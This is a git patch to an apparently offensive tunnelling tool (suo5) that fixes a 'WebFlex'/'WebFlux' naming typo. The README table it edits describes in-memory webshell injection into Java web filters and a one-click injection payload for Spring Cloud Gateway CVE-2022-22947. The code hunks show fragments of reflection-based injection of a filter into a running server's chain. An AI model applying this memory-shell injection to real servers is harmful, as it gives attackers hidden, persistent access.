From f84a2cf6f26b47128cca4a58a92880c77c15aba1 Mon Sep 17 00:00:00 2001 From: zema1 Date: Sun, 30 Jun 2024 19:04:52 +0800 Subject: [PATCH] fix: webflux typo close #59 --- assets/java/README.md | 6 +++--- .../{Suo5WebFlexFilter.java => Suo5WebFluxFilter.java} | 8 ++++---- assets/java/{Suo5WebFlexSpEL.txt => Suo5WebFluxSpEL.txt} | 0 3 files changed, 7 insertions(+), 7 deletions(-) rename assets/java/{Suo5WebFlexFilter.java => Suo5WebFluxFilter.java} (99%) rename assets/java/{Suo5WebFlexSpEL.txt => Suo5WebFluxSpEL.txt} (100%) diff --git a/assets/java/README.md b/assets/java/README.md index 36a9969..eab26b0 100644 --- a/assets/java/README.md +++ b/assets/java/README.md @@ -10,10 +10,10 @@ | `suo5.jsp` | ✓ | ✓ | ✓ | | | `suo5.jspx` | ✓ | ✓ | ✓ | | | `Suo5Filter.java` | ✓ | ✓ | ✓ | `javax.servlet.Filter` 的实现,用于经典中间件 `Filter` 类型的内存马注入 | -| `Suo5WebFlexFilter.java` | ✓ | ✓ | x | `org.springframework.web.server.WebFilter` 的实现, 用于响应式的 Spring Netty 环境 | -| `Suo5WebFlexSpEL.txt` | ✓ | ✓ | x | Spring Cloud Gateway `CVE-2022-22947` 的一键注入 Suo5 的 Payload | +| `Suo5WebFluxFilter.java` | ✓ | ✓ | x | `org.springframework.web.server.WebFilter` 的实现, 用于响应式的 Spring Netty 环境 | +| `Suo5WebFluxSpEL.txt` | ✓ | ✓ | x | Spring Cloud Gateway `CVE-2022-22947` 的一键注入 Suo5 的 Payload | -> WebFlex 的负载转发功能时可以支持的,时间比较仓库还没写,后面会更新 +> WebFlux 的负载转发功能时可以支持的,时间比较仓库还没写,后面会更新 内存马注入推荐参考这个项目,其支持生成各种中间件的一键 Suo5 注入逻辑 [java-memshell-generator-release](https://github.com/pen4uin/java-memshell-generator-release) diff --git a/assets/java/Suo5WebFlexFilter.java b/assets/java/Suo5WebFluxFilter.java similarity index 99% rename from assets/java/Suo5WebFlexFilter.java rename to assets/java/Suo5WebFluxFilter.java index 61a1f55..92acb4d 100644 --- a/assets/java/Suo5WebFlexFilter.java +++ b/assets/java/Suo5WebFluxFilter.java @@ -43,14 +43,14 @@ import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicReference; -public class Suo5WebFlexFilter implements WebFilter { +public class Suo5WebFluxFilter implements WebFilter { public static HashMap ctx = new HashMap(); - public Suo5WebFlexFilter() { + public Suo5WebFluxFilter() { doInject(); } - public Suo5WebFlexFilter(String not) { + public Suo5WebFluxFilter(String not) { System.out.println(not); } @@ -485,7 +485,7 @@ public static void doInject() { DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler, "chain", false); Object handler = getFieldValue(defaultWebFilterChain, "handler", false); List newAllFilters = new ArrayList(defaultWebFilterChain.getFilters()); - newAllFilters.add(0, new Suo5WebFlexFilter("test")); + newAllFilters.add(0, new Suo5WebFluxFilter("test")); DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters); Field f = filteringWebHandler.getClass().getDeclaredField("chain"); f.setAccessible(true); diff --git a/assets/java/Suo5WebFlexSpEL.txt b/assets/java/Suo5WebFluxSpEL.txt similarity index 100% rename from assets/java/Suo5WebFlexSpEL.txt rename to assets/java/Suo5WebFluxSpEL.txt